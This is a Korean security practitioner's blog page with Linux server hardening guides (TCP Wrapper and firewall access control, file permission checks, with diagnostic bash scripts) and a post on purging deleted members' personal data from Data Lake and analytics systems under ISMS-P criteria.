네트워크 접근 제어는 인가된 관리자 IP 또는 내부 관리망 대역에서만 서버의 서비스 포트(SSH, DB 등)에 접근할 수 있도록 차단벽을 형성하는 핵심 보안 조치입니다. TCP Wrapper(/etc/hosts.allow, /etc/hosts.deny) 또는 커널 기반 방화벽(firewalld, iptables, nftables)을 통해 기본 거부(Default Deny, ALL:ALL) 정책을 수립하고 예외적으로 필요한 IP만 명시 허용해야 합니다.

② 자동 진단 스크립트 분석

# ------------------------------------------------------------------------------
# U-28 점검 시작: TCP Wrapper(/etc/hosts.deny) 기본 차단 정책(ALL:ALL) 확인
# ------------------------------------------------------------------------------
CODE "[ U-28 ] 접속 IP 및 포트 제한"

IP_LIMIT_SAFE="FALSE"

# [상세 해설] /etc/hosts.deny 파일 내 ALL:ALL 차단 룰 적용 여부 정규식 검사
if [ -f /etc/hosts.deny ]; then
    if grep -E -q "^[[:space:]]*ALL[[:space:]]*:[[:space:]]*ALL" /etc/hosts.deny; then
        IP_LIMIT_SAFE="TRUE"
    fi
fi

# [상세 해설] TCP Wrapper 미설정 시 방화벽(iptables/firewalld) 수동 검토 가이드 출력
if [[ "$IP_LIMIT_SAFE" == "TRUE" ]]; then
    OK "TCP Wrapper(hosts.deny)를 통해 기본적으로 모든 접속을 통제하고 있습니다." "hosts.deny에 ALL:ALL 설정 적용됨"
else
    WARN "TCP Wrapper(hosts.deny) 설정이 미흡합니다. (방화벽/iptables 수동 점검 필요)" "hosts.deny 파일 없거나 ALL:ALL 설정 누락"
    INFO "네트워크 장비(방화벽)나 iptables, firewalld를 통해 접근 통제 중이라면 양호(OK) 처리 가능합니다." "수동 확인 대상: iptables -L 등"
fi
FINISH "[ U-28 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 장애 사례 (세션 락아웃 주의): /etc/hosts.deny에 ALL:ALL을 먼저 기입하고 /etc/hosts.allow에 본인의 접속 IP를 누락하거나 오타를 낸 상태로 기존 터미널을 닫으면 즉시 서버 접근 불가(Session Lockout) 상태에 빠집니다.
안전 검증 절차:
1. 반드시 현재 접속 중인 SSH 세션을 닫지 않고 유지합니다.
2. 별도의 새로운 터미널 창을 열어 SSH 접속이 정상적으로 이루어지는지 확인합니다.
3. RHEL 8/9 및 Ubuntu 22.04+ 환경에서는 최신 OpenSSH 데몬이 libwrap(TCP Wrapper) 라이브러리 링크를 기본적으로 지원하지 않으므로, 반드시 firewalld나 nftables/iptables를 기본 접근 제어 수단으로 채택해야 합니다.

④ 안전한 조치 절차

# 1. 기존 TCP Wrapper 파일 백업
cp -p /etc/hosts.allow /etc/hosts.allow_backup_$(date +%Y%m%d)
cp -p /etc/hosts.deny /etc/hosts.deny_backup_$(date +%Y%m%d)

# 2. hosts.allow에 관리자 허용 IP 우선 등록 (반드시 deny보다 먼저 적용)
echo "sshd : 192.168.1.100, 10.10.0.0/255.255.0.0" >> /etc/hosts.allow

# 3. hosts.deny에 전체 거부(Default Deny) 적용
echo "ALL : ALL" >> /etc/hosts.deny

# 4. [대안/권장] 최신 OS(RHEL 8/9, Ubuntu 20.04+)의 Firewalld 접근 제어
firewall-cmd --permanent --zone=public --remove-service=ssh
firewall-cmd --permanent --zone=trusted --add-source=192.168.1.100/32
firewall-cmd --reload
firewall-cmd --list-all --zone=trusted

3. 그룹 스크립트 한계점 및 예외 처리 종합 제안

3.1. 기술적 한계점 분석

TCP Wrapper 폐지 추세 미반영: 최신 OS(RHEL 8/9, Rocky Linux 8/9, Ubuntu 20.04 이상)는 OpenSSH 빌드 시 TCP Wrapper 연동을 중단했습니다. 따라서 hosts.deny 파일만 검사할 경우 실제로는 방화벽으로 완벽히 통제되고 있음에도 취약으로 오탐되거나, 반대로 hosts.deny 설정이 적용되지 않는데도 양호로 오탐될 수 있습니다.
NFS/외부 파일시스템 스캔 병목: U-25의 경우 -xdev 옵션이 적용되어 있으나, 마운트 포인트가 /home 하위에 별도 파티션으로 존재하는 환경에서는 하위 디렉터리 검색이 누락될 가능성이 있습니다.
사용자 환경변수 Include 분할 설정: Bash 최신 버전이나 커스텀 환경에서 .bashrc 내부가 아닌 ~/.bashrc.d/*.sh 또는 /etc/profile.d/*.sh 형태로 분할된 스크립트의 소유권 및 권한 점검이 누락될 수 있습니다.

3.2. 보완 및 개선 코드 스니펫 (Code Snippet)

# [개선 스니펫] TCP Wrapper 미지원 최신 OS 대상 firewalld / iptables 방화벽 활성화 복합 검증 로직
CHECK_FIREWALL_ACTIVE="FALSE"
if command -v firewall-cmd >/dev/null 2>&1 && systemctl is-active --quiet firewalld; then
    # firewalld 활성 상태 및 SSH 접근 제어 룰셋 존재 검증
    DEFAULT_ZONE=$(firewall-cmd --get-default-zone 2>/dev/null)
    CHECK_FIREWALL_ACTIVE="TRUE (Firewalld: $DEFAULT_ZONE Zone 활성)"
elif command -v ufw >/dev/null 2>&1 && ufw status 2>/dev/null | grep -q "Status: active"; then
    CHECK_FIREWALL_ACTIVE="TRUE (UFW 방화벽 활성)"
elif iptables -L -n 2>/dev/null | grep -E -q "DROP|REJECT"; then
    CHECK_FIREWALL_ACTIVE="TRUE (iptables 차단 정책 활성)"
fi
echo "[보안 진단 참고] 네트워크 계층 방화벽 상태: $CHECK_FIREWALL_ACTIVE"

안내문 및 면책조항

본 포스팅에서 제공하는 스크립트 상세 설명 및 조치 가이드는 리눅스 시스템 보안 강화를 목적으로 작성되었습니다. 시스템의 특성, 운영 서비스의 종류 및 배포판 버전에 따라 설정을 적용한 후 로그인 불가 등의 영향도가 발생할 수 있으므로 반드시 테스트 환경에서 사전 검증을 거친 후 적용하시기 바랍니다.
리눅스 서버 진단 전체 자동화 스크립트 원본을 공유받기 원하시는 분은 하단의 비밀 댓글로 이메일 주소를 남겨 주시면 확인 후 일괄 송부해 드리겠습니다. 본 가이드의 코드를 활용하여 발생하는 시스템 장애 및 불이익에 대한 책임은 사용자 본인에게 있습니다.

2026.07.28 - [보안취약점점검/보안취약점점검_리눅스] - [리눅스 보안취약점 점검] 자동화 스크립트 공통 함수 및 환경 설정

회원 탈퇴 후 Data Lake에 남은 개인정보, 어디까지 파기해야 할까?

보안실무자J — Wed, 9 Sep 2026 11:12:48 +0900

회원 탈퇴 후 Data Lake에 남은 개인정보, 어디까지 파기해야 할까?

— ISMS-P 3.4.1·3.4.2 관점에서 보는 데이터 레이크 개인정보 파기

이 글은 ISMS-P 개인정보 파기 기준을 이해하기 위한 가상의 시나리오를 바탕으로 작성한 실무 사례형 콘텐츠입니다. 특정 기업의 실제 심사 사례나 실제 결함 사례가 아니며, 기업명·인물·데이터·증적은 설명을 위해 구성한 예시입니다.

1. 운영 DB에서 삭제했는데 Data Lake에는 개인정보가 남아 있다면?

최근 기업의 데이터 처리환경은 하나의 데이터베이스로 끝나지 않는다.

예를 들어 다음과 같은 구조를 생각해 볼 수 있다.

회원 서비스
    │
    ▼
Aurora PostgreSQL
    │
    │ CDC
    ▼
Debezium
    │
    ▼
Kafka
    │
    ▼
AWS S3 Data Lake
    │
    ├── AWS Glue
    ├── Athena
    │
    ▼
Snowflake
    │
    ▼
AI 추천 분석

운영 DB에서는 회원 탈퇴나 보유기간 만료에 따라 개인정보를 삭제하고 있는데, 이미 다른 시스템으로 복제된 개인정보까지 동일하게 처리되고 있을까?

특히 Data Lake 환경에서는 다음과 같은 문제가 발생할 수 있다.

운영 DB에서는 개인정보가 삭제되었지만, 과거에 적재된 S3 Parquet 파일에는 해당 개인정보가 그대로 남아 있는 경우

또한 S3의 데이터를 Snowflake와 같은 분석환경으로 다시 적재하고 있다면, S3에서 데이터를 처리하더라도 Snowflake에는 기존 데이터가 남아 있을 수 있다.

따라서 개인정보 파기 여부를 판단할 때는 단순히

“운영 DB에서 DELETE가 실행되었는가?”

만 확인해서는 충분하지 않다.

2. 가상의 데이터 처리 환경

다음과 같은 가상의 환경을 가정해 보자.

구분구성

회원/주문 DB	Amazon Aurora PostgreSQL
변경 데이터 수집	Debezium CDC
메시지 전달	Apache Kafka
Data Lake	Amazon S3
ETL	AWS Glue
조회	Amazon Athena
분석 DW	Snowflake
활용 목적	구매 패턴 분석 및 AI 추천
데이터 형식	Parquet 등

운영 DB에서 발생한 INSERT, UPDATE 등의 변경사항은 CDC를 통해 Data Lake로 전달되고, 이후 분석 및 AI 추천을 위해 Snowflake로 적재된다.

문제는 DELETE 이벤트를 어떻게 처리할 것인가이다.

신규 데이터가 발생할 때에는 데이터를 추가하면 되지만, 이미 Data Lake에 적재된 데이터가 이후 삭제 대상이 된 경우에는 별도의 파기 로직이 필요할 수 있다.

3. 가상의 개인정보 파기 시나리오

회원 USER-000123이 탈퇴했다고 가정하자.

운영 DB에서는 탈퇴 처리가 정상적으로 수행되었다.

회원 탈퇴
   ↓
Aurora PostgreSQL
   ↓
탈퇴 처리 및 삭제

그런데 해당 회원의 과거 주문 데이터가 이미 Data Lake에 적재되어 있었다.

S3 Data Lake

order_id       user_id
--------------------------------
ORDER-000001   USER-000123
ORDER-000002   USER-000456

해당 주문 데이터에는 다음과 같은 개인정보 항목이 포함되어 있다고 가정한다.

shipping_recipient_name
shipping_phone
shipping_address

운영 DB에서는 USER-000123의 개인정보가 삭제되었지만, S3의 과거 적재 데이터에는 여전히 해당 정보가 존재한다.

이 상황에서 바로 “ISMS-P 결함이다”라고 판단하는 것이 적절할까?

반드시 그렇지는 않다.

먼저 다음을 확인해야 한다.

해당 데이터가 현재도 보유할 필요가 있는가?

그리고,

계속 보유해야 한다면 그 근거가 무엇인가?

이 두 가지를 확인한 후 3.4.1과 3.4.2 관점에서 판단해야 한다.

4. ISMS-P 3.4.1 / 3.4.2 기준으로 판단하기

현재 ISMS-P 인증기준에서 3.4는 **「개인정보 파기 시 보호조치」**이며, 3.4에는 2개의 인증기준이 포함되어 있다.

이 사례를 판단할 때 핵심적인 질문은 다음과 같다.

Data Lake에 개인정보가 존재하는가?
            ↓
해당 개인정보가 현재도 필요한가?
            ↓
계속 보존해야 할 법적 근거가 있는가?
       ┌────────┴────────┐
       │                 │
      없음               있음
       │                 │
       ▼                 ▼
     3.4.1             3.4.2
       │                 │
       ▼                 ▼
      파기             분리·관리

4.1 3.4.1 개인정보 파기

개인정보 보호법 제21조는 보유기간의 경과, 처리 목적 달성 등으로 개인정보가 불필요하게 된 경우 지체 없이 파기하도록 규정하고 있다. 또한 파기할 때에는 복구 또는 재생되지 않도록 조치해야 한다.

따라서 3.4.1 관점에서는 다음 사항을 확인한다.

확인 항목주요 확인사항

개인정보 존재 여부	S3, Snowflake 등에 개인정보가 남아 있는가?
처리 목적	해당 데이터가 현재도 처리 목적에 필요한가?
보유기간	정해진 보유기간이 종료되었는가?
법적 보존	계속 보존해야 할 법적 근거가 있는가?
파기 범위	어떤 개인정보 항목을 파기해야 하는가?
파기 방법	복구·재생이 어렵도록 파기하는가?
파기 이력	파기 결과를 확인할 수 있는가?

즉,

“Data Lake에 개인정보가 남아 있다”는 사실보다 “더 이상 필요하지 않은 개인정보가 파기되지 않고 남아 있는가”가 핵심이다.

4.2 3.4.1 관점의 판단 예시

다음과 같은 상황을 가정해 보자.

회원이 탈퇴했다.
AI 추천 서비스에서 해당 회원의 개인 식별정보를 계속 이용할 필요가 없다.
해당 데이터에 별도의 법적 보존 근거가 없다.
내부적으로 정한 보유기간도 종료되었다.
운영 DB에서는 삭제되었다.
그러나 S3 Data Lake의 과거 데이터에는 이름·연락처·주소가 그대로 존재한다.
Snowflake에도 동일 데이터가 적재되어 있다.
Data Lake에 대한 별도의 파기 절차가 존재하지 않는다.

이 경우에는 운영 DB의 삭제만으로 개인정보 파기가 완료되었다고 보기 어렵다.

Data Lake와 분석계에 동일 개인정보가 존재한다면 해당 시스템에도 개인정보 파기 절차가 적용되는지 확인해야 한다.

5. 3.4.2 처리목적 달성 후 보유 시 조치

반대로 모든 탈퇴 회원 데이터를 반드시 즉시 삭제해야 하는 것은 아니다.

예를 들어 특정 개인정보가 다른 법령에 따라 일정 기간 보존되어야 한다면 해당 정보를 계속 보존할 수 있는 경우가 있다.

개인정보 보호법 제21조는 다른 법령에 따라 보존해야 하는 경우 파기하지 않을 수 있도록 하고 있으며, 이 경우 해당 개인정보 또는 개인정보파일을 다른 개인정보와 분리하여 저장·관리하도록 규정한다.

따라서 다음과 같은 질문이 필요하다.

왜 보존하는가?

무엇을 보존해야 하는가?

언제까지 보존해야 하는가?

보존하는 동안 다른 목적으로 이용하고 있지는 않은가?

5.1 법적 보존과 일반적인 서비스 이용은 구분해야 한다

예를 들어 거래 관련 정보 중 일부를 법령에 따라 보존해야 한다고 가정하자.

그렇다고 해서 탈퇴 회원의 모든 개인정보를 Data Lake에 계속 보존할 수 있다는 의미는 아니다.

다음과 같이 구분해야 한다.

탈퇴 회원 데이터
       │
       ├── 계속 보존할 필요 없음
       │       ↓
       │      파기
       │
       └── 법적 보존 필요
               ↓
          필요한 범위만 보존
               ↓
          분리·저장·관리
               ↓
          보존기간 종료
               ↓
              파기

따라서 법적 보존이 필요한 데이터와 일반적인 서비스 운영 데이터를 동일한 영역에 계속 보관하는 구조라면 별도의 관리가 필요하다.

6. 이 사례를 3.4.1과 3.4.2로 구분해 보면

확인 결과주요 판단 관점

개인정보가 더 이상 필요하지 않음	3.4.1 개인정보 파기
보유기간이 종료됨	3.4.1 개인정보 파기
처리 목적이 달성됨	3.4.1 개인정보 파기
별도의 법적 보존 근거가 없음	3.4.1 개인정보 파기
다른 법령에 따라 보존 필요	3.4.2 관점에서 분리·관리 확인
법적 보존 대상과 일반 개인정보가 함께 저장됨	3.4.2 관점에서 분리·관리 확인
보존 데이터를 AI 추천 등 다른 목적으로 계속 이용	보존 근거와 별도로 이용 목적 및 적법성 확인
보존기간 종료 후에도 데이터가 남아 있음	3.4.1 파기 여부 확인

따라서 이 사례에서는 3.4.1과 3.4.2를 서로 완전히 분리된 문제로 보기보다는 개인정보 생명주기에 따라 연속적으로 판단하는 것이 중요하다.

7. 운영 DB에서 삭제했는데 Data Lake에는 왜 남아 있을까?

이제 기술적인 부분을 살펴보자.

가상의 데이터 흐름은 다음과 같다.

Aurora PostgreSQL
       │
       ▼
   Debezium
       │
       ▼
     Kafka
       │
       ▼
   S3 Data Lake
       │
       ├── AWS Glue
       └── Athena
       │
       ▼
   Snowflake
       │
       ▼
   AI 분석

운영 DB에서 다음과 같이 삭제했다고 하자.

DELETE FROM customer
WHERE user_id = 'USER-000123';

이 작업 자체는 정상적으로 수행되었다.

하지만 이미 S3에 적재된 데이터는 자동으로 삭제되지 않을 수 있다.

예를 들어 다음과 같은 구조라면,

s3://example-datalake/orders/
    ├── year=2026/
    │   ├── month=08/
    │   │   ├── day=01/
    │   │   └── day=02/

8월 1일에 생성된 데이터가 9월에 탈퇴 처리되었다고 해서 8월 1일의 Parquet 파일이 자동으로 변경되는 것은 아니다.

즉,

원천 DB의 현재 상태와 Data Lake에 저장된 과거 데이터의 상태는 서로 다를 수 있다.

8. 기술적 원인

이러한 문제는 크게 네 가지 관점에서 확인할 수 있다.

8.1 DELETE 이벤트 미처리

CDC 파이프라인이 INSERT와 UPDATE 중심으로 설계되어 있고 DELETE 이벤트를 downstream 시스템의 파기 처리에 활용하지 않는 경우다.

INSERT → 처리
UPDATE → 처리
DELETE → 미처리

이 경우 운영 DB에서는 삭제되지만 Data Lake에는 기존 데이터가 남을 수 있다.

8.2 Immutable 데이터 구조

Data Lake에서는 Parquet와 같은 파일 기반 데이터가 날짜나 파티션 단위로 저장되는 경우가 많다.

따라서 특정 사용자의 데이터를 제거하려면 단순히 원천 DB의 DELETE만으로는 부족하고, 기존 데이터셋에 대한 별도의 처리 과정이 필요할 수 있다.

8.3 분석계 데이터 잔존

S3에서 개인정보를 처리했다고 하더라도 Snowflake와 같은 DW에 이미 적재된 데이터가 남아 있을 수 있다.

S3
 ↓
ETL
 ↓
Snowflake
 ↓
AI 분석

따라서 파기 프로세스는 특정 저장소 하나만 대상으로 하면 안 된다.

8.4 ETL 재실행에 따른 재생성

한 가지 더 주의할 점이 있다.

S3에서 특정 데이터를 삭제했더라도 원천 데이터나 다른 저장소에 동일 데이터가 남아 있다면 ETL을 다시 실행하면서 삭제 대상 데이터가 다시 생성될 수 있다.

따라서 파기 프로세스에서는

삭제 → 검증

뿐만 아니라

삭제 → 검증 → 재생성 여부 확인

까지 고려할 필요가 있다.

9. 개선 방향

9.1 개인정보가 존재하는 위치를 식별한다

먼저 동일 개인정보가 어느 시스템에 존재하는지 확인한다.

Aurora
S3 Data Lake
Snowflake
Backup
Archive
AI 분석 데이터

개인정보 처리 흐름도를 기준으로 저장 위치를 관리하면 파기 누락을 줄일 수 있다.

9.2 탈퇴 이벤트와 파기 프로세스를 연결한다

회원 탈퇴가 발생했을 때 단순히 운영 DB만 삭제하는 것이 아니라 후속 시스템의 파기 프로세스까지 연결한다.

회원 탈퇴
   ↓
삭제 대상 식별
   ↓
파기 이벤트 생성
   ↓
Data Lake 처리
   ↓
DW 처리
   ↓
분석 데이터 처리
   ↓
결과 검증
   ↓
파기 이력 기록

핵심은 회원 탈퇴 처리와 개인정보 파기 처리를 하나의 데이터 생명주기로 관리하는 것이다.

10. 개인정보 파기와 마스킹은 구분해야 한다

기존 사례에서 가장 주의해야 할 부분이다.

예를 들어 다음과 같이 데이터를 변경했다고 하자.

홍길동
010-1234-5678
서울특별시 ○○구 ○○로

↓

[DELETED_USER]
[DELETED]
[PURGED_ADDRESS]

이것을 곧바로 “개인정보 파기 완료”라고 표현해서는 안 된다.

이는 데이터를 다른 값으로 치환한 것이기 때문이다.

개인정보 보호법 제21조는 개인정보를 파기할 때 복구 또는 재생되지 않도록 조치하도록 규정하고 있다.

따라서 기술적 조치의 목적을 다음과 같이 구분하는 것이 좋다.

조치목적

DELETE	데이터 제거
객체 삭제	Data Lake 파일 제거
데이터셋 재작성	특정 데이터를 제거한 데이터셋 생성
마스킹	표시·분석 과정에서 식별정보 노출 제한
가명처리	가명정보 처리 목적에 따른 변환
분리 저장	법적 보존 대상의 별도 관리

특히 마스킹·가명처리와 파기는 동일한 개념이 아니다.

11. 개선 코드 예시

실제 운영환경에서는 데이터 구조와 저장 방식에 따라 구현방법이 달라진다.

아래는 개념을 설명하기 위한 단순한 PySpark 예시다.

from pyspark.sql import SparkSession

spark = SparkSession.builder \
    .appName("PersonalInformationPurge") \
    .getOrCreate()

target_user = "USER-000123"

df = spark.read.parquet(
    "s3://example-data-lake/customer/"
)

purged_df = df.filter(
    df.user_id != target_user
)

purged_df.write \
    .mode("overwrite") \
    .parquet(
        "s3://example-data-lake/customer-purged/"
    )

이 코드는 파기 개념을 설명하기 위한 예시다.

실제 운영환경에서는 다음 사항을 추가로 검토해야 한다.

동일 사용자의 데이터가 다른 파티션에도 존재하는지
중복 데이터가 있는지
원본 버킷에 원본 파일이 남아 있는지
객체 버전 관리가 적용되어 있는지
백업 및 복제본이 존재하는지
Snowflake 등에 이미 적재된 데이터가 있는지
ETL 재실행으로 데이터가 재생성되지 않는지
파기 대상과 보존 대상이 정확하게 구분되는지
파기 결과를 검증할 수 있는지

따라서 특정 Spark 코드를 실행했다는 사실 자체가 파기 완료를 의미하지는 않는다.

12. 법적 보존 데이터는 별도로 관리한다

법령에 따라 일정 기간 보존해야 하는 개인정보가 있다면 해당 정보를 무조건 삭제해서도 안 된다.

이 경우 다음과 같이 관리할 수 있다.

회원 탈퇴
   ↓
개인정보 항목별 분류
   │
   ├── 보존 필요 없음
   │       ↓
   │      파기
   │
   └── 법적 보존 필요
           ↓
       별도 저장·관리
           ↓
       보존기간 관리
           ↓
       기간 종료
           ↓
          파기

개인정보 보호법 제21조 제3항은 법령에 따라 보존하는 개인정보를 다른 개인정보와 분리하여 저장·관리하도록 규정하고 있다.

따라서 법적 보존 대상과 일반 서비스 데이터를 동일한 영역에 계속 보관하는 경우에는 보존 근거, 범위, 기간 및 분리·관리 방법을 함께 확인해야 한다.

13. 개선 후에는 파기 결과를 검증한다

파기 프로세스를 구축했다면 실제로 데이터가 없어졌는지 검증해야 한다.

예를 들어 USER-000123을 파기 대상으로 지정했다고 하자.

13.1 운영 DB 확인

SELECT *
FROM customer
WHERE user_id = 'USER-000123';

예상 결과:

0 rows

13.2 Data Lake 확인

SELECT COUNT(*)
FROM customer
WHERE user_id = 'USER-000123';

예상 결과:

13.3 Snowflake 확인

SELECT COUNT(*)
FROM CUSTOMER
WHERE USER_ID = 'USER-000123';

예상 결과:

13.4 파기 결과 기록

대상 사용자 : USER-000123
파기 요청   : 2026-09-29 10:00
Aurora      : 완료
S3          : 완료
Snowflake   : 완료
검증        : 정상

여기서 중요한 것은 단순히 “삭제 명령을 실행했다”는 로그가 아니라,

삭제 대상이 실제로 존재하지 않는다는 검증 결과

까지 남기는 것이다.

14. 실제 점검에서는 어떤 증적을 확인할까?

Data Lake 환경의 개인정보 파기를 점검한다면 다음과 같은 자료를 확인할 수 있다.

관리적 증적

개인정보 처리방침
개인정보 보유기간 정책
개인정보 파기 정책
개인정보 파기 절차
법적 보존 대상 목록
시스템별 개인정보 보유 현황
개인정보 처리 흐름도
Data Lake 운영정책

기술적 증적

DB 삭제 로그
CDC 처리 로그
Kafka 이벤트 처리 로그
S3 데이터 조회 결과
S3 삭제 로그
Snowflake 데이터 처리 로그
ETL 실행 로그
파기 배치 실행 로그
파기 결과 검증 로그

담당자 인터뷰

다음과 같은 질문도 유용하다.

“회원 탈퇴가 발생하면 Data Lake의 개인정보는 어떻게 처리됩니까?”

“이미 S3에 적재된 과거 데이터는 어떻게 처리합니까?”

“Snowflake에 적재된 데이터는 어떻게 처리합니까?”

“법적 보존 대상과 파기 대상은 어떻게 구분합니까?”

“파기 결과는 어떻게 검증합니까?”

“ETL을 다시 실행했을 때 삭제 대상 데이터가 재생성되지 않도록 어떻게 관리합니까?”

이때 문서에 적힌 절차와 실제 시스템의 동작이 일치하는지를 함께 확인하는 것이 중요하다.

15. 실무 점검 체크리스트

개인정보 파기

개인정보별 보유기간이 정의되어 있는가?
처리 목적 달성 후 파기 기준이 정의되어 있는가?
법적 보존 대상이 식별되어 있는가?
법적 보존기간이 관리되고 있는가?
회원 탈퇴와 개인정보 파기 프로세스가 연계되어 있는가?
운영 DB 외 Data Lake에도 파기 절차가 적용되는가?
DW 및 분석계에도 파기 절차가 적용되는가?
백업 및 복제 영역에 대한 관리 기준이 있는가?
CDC DELETE 이벤트가 적절하게 처리되는가?
과거 Data Lake 적재 데이터가 파기 대상에서 누락되지 않는가?
Snowflake 등 분석계에 잔존 데이터가 없는지 확인하는가?
ETL 재실행으로 삭제 대상 데이터가 재생성되지 않는가?
파기 결과를 검증하는 절차가 있는가?
파기 이력이 기록되는가?

법적 보존 데이터

보존 근거가 명확한가?
보존 대상 개인정보 항목이 명확한가?
보존기간이 명확한가?
일반 개인정보와 분리하여 저장·관리하는가?
보존 목적 외 이용을 제한하고 있는가?
보존기간 종료 후 파기하는가?

16. 자주 발생하는 판단 오류

오류 1. “탈퇴했으니 모든 개인정보를 즉시 삭제해야 한다.”

탈퇴 사실만으로 모든 개인정보의 처리·보존 여부를 일률적으로 판단해서는 안 된다.

개인정보 항목별로 처리 목적과 보유기간, 법적 보존 필요성을 확인해야 한다.

오류 2. “S3에 개인정보가 있으니 무조건 ISMS-P 결함이다.”

S3에 개인정보가 존재한다는 사실만으로 판단을 끝내서는 안 된다.

해당 데이터가 아직 필요한지, 법령 등에 따라 보존해야 하는지 먼저 확인해야 한다.

오류 3. “운영 DB에서 삭제했으니 파기 완료다.”

Data Lake, DW, 분석계, 백업 등으로 개인정보가 복제되는 환경에서는 전체 데이터 흐름을 확인해야 한다.

오류 4. “마스킹했으니 파기했다.”

마스킹과 파기는 목적과 기술적 조치가 다르다.

파기 대상 개인정보를 단순히 다른 문자열로 치환한 경우에는 이를 곧바로 파기라고 표현하지 않는 것이 안전하다.

오류 5. “5일 이내 파기하지 않으면 개인정보 보호법 위반이다.”

개인정보 보호법 제21조의 법률상 표현은 “지체 없이”이다.

조직이 개인정보 처리방침이나 내부 절차에서 별도의 구체적인 파기기한을 정할 수는 있지만, 이를 법률 자체의 문구와 동일하게 표현해서는 안 된다.

실제로 ISMS-P 누리집의 개인정보 처리방침에서도 법률상 “지체 없이”라는 원칙과 별도로 내부 절차상 “5일 이내”라는 구체적인 기한을 정한 사례를 확인할 수 있다.

17. 이 사례에서 가장 중요한 판단 흐름

결국 이 사례의 판단은 다음과 같이 정리할 수 있다.

① 개인정보가 Data Lake에 존재하는가?
                ↓
② 해당 개인정보가 현재도 필요한가?
                ↓
③ 계속 보존해야 할 법적 근거가 있는가?
          │
      ┌───┴───┐
      │       │
     없음     있음
      │       │
      ▼       ▼
   3.4.1    3.4.2
      │       │
      ▼       ▼
     파기   분리·관리
      │       │
      └───┬───┘
          ↓
    보존기간 종료 여부
          ↓
       종료 시 파기

따라서 이 사례에서 가장 중요한 질문은 세 가지다.

첫째, 해당 개인정보가 더 이상 필요하지 않은 상태인가?

둘째, 계속 보존해야 한다면 명확한 근거가 있는가?

셋째, 파기 또는 보존 조치가 Data Lake·DW·분석계 등 실제 개인정보 처리환경 전체에 적용되고 있는가?

18. 마무리

Data Lake, DW, AI 분석환경과 같은 현대적인 데이터 처리환경에서는 개인정보가 하나의 DB에만 존재하지 않는다.

운영 DB에서 생성된 개인정보가 아래와 같이 여러 시스템으로 복제될 수 있다.

CDC
 ↓
Kafka
 ↓
Data Lake
 ↓
DW
 ↓
AI 분석
 ↓
Backup / Archive

따라서 개인정보 파기를 특정 DB의 DELETE 명령에만 의존해서는 안 된다.

개인정보가 어디에 존재하는지 확인하고, 언제까지 필요한지를 판단한 뒤, 불필요하게 된 개인정보가 실제 처리환경에서 파기되었는지를 검증하는 것이 중요하다.

특히 ISMS-P 3.4.1과 3.4.2를 적용할 때에는 다음과 같은 흐름으로 접근할 수 있다.

불필요해진 개인정보인가? → 파기한다.

법령 등에 따라 계속 보존해야 하는가? → 필요한 범위에서 분리·관리한다.

보존기간이 종료되었는가? → 다시 파기한다.

결국 Data Lake 환경에서 개인정보 파기는 단순한 데이터베이스 작업이 아니라,

“개인정보의 전체 생명주기를 추적하고, 불필요하게 된 개인정보를 적절한 시점에 파기하며, 계속 보존해야 하는 개인정보는 별도로 관리하는 데이터 관리체계”

의 문제라고 볼 수 있다.

한 줄 정리

운영 DB에서 삭제했는지가 아니라, 불필요해진 개인정보가 실제로 존재하는 모든 처리환경에서 적절하게 파기되었는지를 확인해야 한다.

그리고 법적으로 계속 보존해야 하는 개인정보라면,

“왜 보존하는가, 무엇을 보존하는가, 언제까지 보존하는가, 어떻게 분리·관리하는가”

까지 확인해야 한다.

이것이 Data Lake 환경에서 ISMS-P 3.4.1과 3.4.2를 적용할 때 중요한 실무 포인트다.

참고자료

ISMS-P 누리집 — ISMS-P 인증기준
- 3. 개인정보 처리단계 요구사항
- 3.4 개인정보 파기 시 보호조치
  ISMS-P 인증기준
ISMS-P 누리집 — 자료실
- ISMS-P 인증기준 안내서
- ISMS-P 세부점검항목 관련 자료
  ISMS-P 자료실
국가법령정보센터 — 개인정보 보호법
- 제21조 개인정보의 파기
  국가법령정보센터 — 개인정보 보호법

[리눅스 보안 점검 요약] 파일 및 디렉터리 관리(U-19 ~ U-23) 종합 진단 및 실무 조치 가이드

보안실무자J — Wed, 9 Sep 2026 11:05:40 +0900

파일 및 디렉터리 보안 그룹(U-19 ~ U-23)에 대한 KISA 보안 가이드라인 분석과 자동 진단 스크립트 해설을 제공합니다. 주요 시스템 설정 파일의 변조 방지와 권한 오남용을 예방하기 위한 자동 진단 로직, 장애를 방지하는 안전한 조치 및 백업 절차를 실무 관점에서 상세히 안내해 드립니다.

1. 파일 및 서비스 설정 권한 관리 점검 항목 종합 요약

점검코드	점검 명칭	주요 점검 대상 파일	판단 기준 (양호)	위험도
U-19	/etc/hosts 파일 소유자 및 권한 설정	/etc/hosts	소유자가 root이고, 권한이 600 이하인 경우	상
U-20	/etc/(x)inetd.conf 파일 소유자 및 권한 설정	/etc/inetd.conf, /etc/xinetd.conf, /etc/xinetd.d/*	파일이 미존재하거나, 소유자가 root이고 권한이 600 이하인 경우	하
U-21	/etc/(r)syslog.conf 파일 소유자 및 권한 설정	/etc/syslog.conf, /etc/rsyslog.conf, /etc/rsyslog.d/*	소유자가 root(또는 syslog)이고, 권한이 640 이하인 경우	중
U-22	/etc/services 파일 소유자 및 권한 설정	/etc/services	소유자가 root이고, 권한이 644 이하인 경우	중
U-23	SUID, SGID, Sticky bit 설정 파일 점검	시스템 주요 실행 파일 전체	주요 실행 파일의 SUID/SGID 권한이 불필요하게 부여되지 않고 관리되는 경우	상

2. 세부 항목별 진단 및 조치 가이드

2.1. [U-19] /etc/hosts 파일 소유자 및 권한 설정

① 점검 목적 및 개요

/etc/hosts 파일은 IP 주소와 호스트명을 매핑하는 로컬 네임 해석 파일입니다. DNS 쿼리보다 우선순위가 높기 때문에 악의적인 공격자가 이 파일을 변조할 경우 피싱 사이트 유도, 내부 통신 가로채기(DNS Spoofing 및 중간자 공격)가 발생할 수 있습니다. 따라서 root 소유자 및 일반 사용자의 읽기/쓰기 권한을 엄격히 통제해야 합니다.

② 자동 진단 스크립트 분석

# [상세 해설] U-19 점검 코드 식별자 선언
CODE "[ U-19 ] /etc/hosts 파일 소유자 및 권한 설정"

# [상세 해설] /etc/hosts 파일의 실제 존재 여부를 검증
if [ -f /etc/hosts ]; then
    # [상세 해설] ls -l 결과의 3번째 필드(소유자 계정명)를 추출
    OWNER=$(ls -l /etc/hosts | awk '{print $3}')
    # [상세 해설] ls -l 결과의 1번째 필드(권한 문자열 전체)를 추출
    PERMS=$(ls -l /etc/hosts | awk '{print $1}')
